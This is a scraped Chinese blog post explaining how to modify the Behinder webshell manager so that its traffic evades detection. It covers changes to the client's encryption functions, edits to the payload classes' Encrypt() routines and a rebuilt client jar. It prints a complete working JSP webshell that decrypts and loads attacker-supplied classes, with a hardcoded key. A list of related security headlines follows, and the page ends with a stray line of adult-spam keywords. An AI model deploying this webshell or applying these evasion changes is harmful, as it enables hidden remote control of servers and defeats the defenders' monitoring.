<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    技術干貨 | 簡單的冰蝎流量魔改

    VSole2022-07-22 08:45:22

    前言

    感覺冰蝎流量魔改的文章比較少,我自己琢磨了一下,感覺簡單地做個流量魔改并不復雜,發出來供大家參考。我自己是個Java笨比,有問題的地方歡迎大佬們評論區指正共同學習。

    正文

    0x00 冰蝎源碼

    冰蝎源碼的獲取,可以下載冰蝎,用idea自帶的反編譯工具去反編譯,我這里直接用github搜到的別人整理好的反編譯代碼了(https://github.com/x1a0t/Behinder-Source)

    0x01 Crypt.java的修改

    (1)加密函數

    在Crypt.java中,可以修改Encrypt、EncryptForPhp這類加密函數的邏輯,比如在返回結果數據前,對結果做自定義的加密處理。我這里的例子就是在原有的AES基礎上做了個base64編碼。

    note:public static byte[] Encrypt(byte[] bs, String key, String scriptType, int encryptType)
    

    這個函數不用改。我看了下,這個函數是在進最后的return前進了其他被改了邏輯的加密函數(比如EncryptForPhp),其他函數改過了,這里就不用動了。我最開始沒仔細看代碼的時候想著,人家寫了個匯總函數在這里改應該挺快捷的,結果發現這里雖然寫了個匯總的函數,但是有些時候調用加密還是調用了具體的加密函數(比如:EncryptForPhp),所以這里就不用管這個函數了。

    修改的例子:

    (2)解密函數

    修改Crypt.java里的Decrypt函數(我這里是做的base64編解碼,只要在這個總的Decrypt函數開頭做一次解碼就行了,各位大佬們可以根據自己選用的編解碼方式,自行修改這些Decrypt函數):

    0x02 payload的修改

    我自己對jsp馬做了個簡單的跟蹤調試,發現解密函數解密的流量,應該是被客戶端塞進去的payload里的xxx.class發出來的,這些流量發出來之前會調用payload里xxx.class的Encrypt()函數做個流量加密。所以這里的思路是,把payload里存在Encrypt()函數的xxx.class的Encrypt()函數加密邏輯都修改一下,就能貫通整個加解密通訊流程了。

    具體操作還是以jsp增加base64編碼舉例子:

    因為演示的是jsp的部分,就去修改net.rebeyond.behinder.payload.java下面的Java代碼文件,找到里面的Encrypt()函數(payload里的Java代碼,挨個找找改一下,并不是每一個文件都有Encrypt,這里沒有就不管),去修改加密邏輯就行了

    note:別的語言的payload里的加密函數也叫encrypt(最多有些大小寫區別),但是要修改的話需要用對應的語言去修改(其中,C#的是dll文件,需要額外的姿勢,歡迎評論區老哥補充這方面方便的思路)

    以php為例子,加密函數修改如下:

    0x03 webshell馬子的修改

    以jsp為例,這里就是在原本的base64解碼里又套了一層base64解碼:

    <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*該密鑰為連接密碼32位md5值的前16位,默認連接密碼rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(new String(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))))).newInstance().equals(pageContext);}%>
    

    0x04 打包與測試

    用maven做package打包,完成后要用的是名字長的那個jar包(Behinder-3.0-beta-11_t00ls-jar-with-dependencies.jar)

    本地運行,測試(命令執行、內網穿透等功能正常,不過數據庫連接功能拉閘了):

    最后?

    有兩個還沒解決的東西:

    1.C#部分的dll文件處理

    2.數據庫連接功能出現了bug(暫時還沒去調試)

    歡迎大佬們在留言指教

    文章來源:先知社區
    流量payload
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    NAT穿透是如何工作的
    2022-08-11 06:32:23
    整個過程對雙方透明。本文接下來都將關注在 UDP 上。對收發包的 socket 有直接控制權。例如,從經驗上來說,無法基于某個現有的網絡庫實現 NAT 穿透,因為我們 必須在使用的“主要”協議之外,發送和接收額外的數據包。某些協議將 NAT 穿透與其他部分緊密集成。
    Webshell檢測方法
    2022-01-04 10:33:05
    Webshell作為一種web后門,通常由攻擊者通過常見的Web網站漏洞,如sql注入、文件包含和上傳等,上傳到服務器,從而為攻擊者提供與服務器端進行交互的能力。
    工具短小精悍,生成的webshell能夠過常見殺軟,盡量減少了連接后交互的流量特征,具體payload發送方式均可自定義。由于個人精力有限,服務端暫時僅支持Java。
    整個過程僅講思路的實現,因筆者日常工作并不相關,從構思到實現,前前后后大概花了兩個月時間,未對數據進行整理,也未列出具體的步驟,僅供研究與參考,思路如有雷同,那真是太好了
    論0day抓取的姿勢
    2022-07-07 22:17:50
    提供該漏洞細節或者利用程序的人通常是該漏洞的發現者。一般攻擊路徑都是通過互聯網進行,那么我們利用屬于DMZ區的一臺服務器上搭建一個docker漏洞環境,然后通過falco進行CONTAINER內執行命令的監控,在互聯網側通過packetbeat進行HTTP的payload的的捕獲。
    CS的流量行為特征
    2022-07-21 13:45:40
    雷神眾測擁有對此文章的修改和解釋權。如欲轉載或傳播此文章,必須保證此文章的完整性,包括版權聲明等全部內容。未經雷神眾測允許,不得任意修改或者增減此文章內容,不得以任何方式將其用于商業目的。
    菜刀、冰蝎、蟻劍、哥斯拉的流量特征
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类